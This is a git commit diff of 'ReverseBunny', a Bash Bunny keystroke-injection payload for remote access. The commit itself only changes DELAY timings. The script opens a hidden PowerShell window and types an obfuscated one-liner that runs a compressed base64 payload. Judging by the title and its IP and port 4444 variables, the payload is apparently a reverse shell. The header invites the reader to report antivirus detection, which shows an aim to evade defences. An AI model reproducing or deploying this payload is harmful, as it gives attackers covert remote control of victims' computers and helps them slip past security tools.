Updated ReverseBunny

Fixed wrong DELAY commands
pull/491/head
0iphor13 2022-02-02 09:19:56 +01:00 committed by GitHub
parent 75f1a54282
commit 3849dd78b3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 14 additions and 14 deletions

View File

@ -3,7 +3,7 @@
# Title: ReverseBunny
# Description: Get remote access using obfuscated powershell code - If caught by AV, feel free to contact me.
# Author: 0iphor13
# Version: 1.2
# Version: 1.3
# Category: Remote_Access
# Attackmodes: HID
@ -16,32 +16,32 @@ ATTACKMODE HID
#If needed, use this option
#WAIT_FOR_PRESENT Your_Device
DELAY 5000
Q DELAY 1500
Q GUI r
DELAY 5000
Q DELAY 500
Q STRING "powershell -NoP -NonI -W hidden"
DELAY 5000
Q DELAY 500
Q ENTER
DELAY 1000
Q DELAY 250
Q STRING "\$I='0.0.0.0';\$P=4444;&(\$SHellid[1]+\$shELlId[13]+'x')(NEw-ObJECt sYstem.iO.coMPRESsIOn.dEFLateSTReAm([sYstEM.I"
DELAY 1000
Q DELAY 250
Q STRING "o.MEmORyStReAm] [sYstEM.cOnvErT]::frOMBasE64sTrIng('jVJhb9owEP3c/IpT5A1HBUNXdR8apWqJPBSNUdSkWyuCogAWpAIHJa5K2vS/72yaqeoH"
DELAY 1000
Q DELAY 250
Q STRING "urN8nH3Pz88vkNmjlJV3aVsWHB3ROEmSrgNgFl6LtbxmYTsJTisxAQfiE4RVawTEBxg+QSBDnXSh29yz/8WRmHM6NQjd3Xf+ZT2RAaPbBX1LDIjEqoYWvh1R"
DELAY 1000
Q DELAY 250
Q STRING "9X6lueq30UJgk83QGmIsENWN4fe+0h2IzTFoNOhcw4ehd6wYc5zERm2MSFNhjW1NiknPfaNtOnWT9Q4yHPoKn4Umbhj6FUAv267y4uT0/xmMzDcGa1yIsoQJ"
DELAY 1000
Q DELAY 250
Q STRING "l0oUU1A5zHOpMvkoGGOWZV+6lkWG6Tpd+4+lyjfgwSQSO8W4nOeLTC6n5+dXoR8EbCBUv1KipMT8MR19cO5J/tTJ+w/cVxDel4pv2IgrFl7Pf3JVssgf"
DELAY 1000
Q DELAY 250
Q STRING "++sA76YkaJOx45LSI3NNFUaFuNpQvcOeikwJ+l5Fu9d+v2RDIZdq5biTGSqYTKdk5vUY+352dnpWf3npvbpPq2AoKCWZh3w3PF2gSk0yw6OjZbRynI4U0HN"
DELAY 1000
Q DELAY 250
Q STRING "eXLLw6AhFX/cfhB9BJ7rfilG64VDel5H4xSJxp5h5ceOAY/Sqm0Au31gzlP3s0UzcAVnAt4uvJ3V+qzr4pmw0wN7OI8/Hdl/bdDkOwT6myNAZ5vNUZbl02DZ"
DELAY 1000
Q DELAY 250
Q STRING "Vq2P7AmyXVB6dKO23+OA33srR8Iij4Ttj058i0DZVWkHFhlwO8F268WN9G66o8+qitf46Dzl1rL8='),[Io.COmpressIoN.coMPressiONmoDe]::decOMp"
DELAY 1000
Q DELAY 250
Q STRING "ReSS ) | %{ NEw-ObJECt systEm.io.STREAmReadEr(\$_ , [sysTeM.TExt.encODIng]::AscIi)}| % {\$_.readTOeNd()} )"
DELAY 1000
Q DELAY 250
Q ENTER
LED FINISH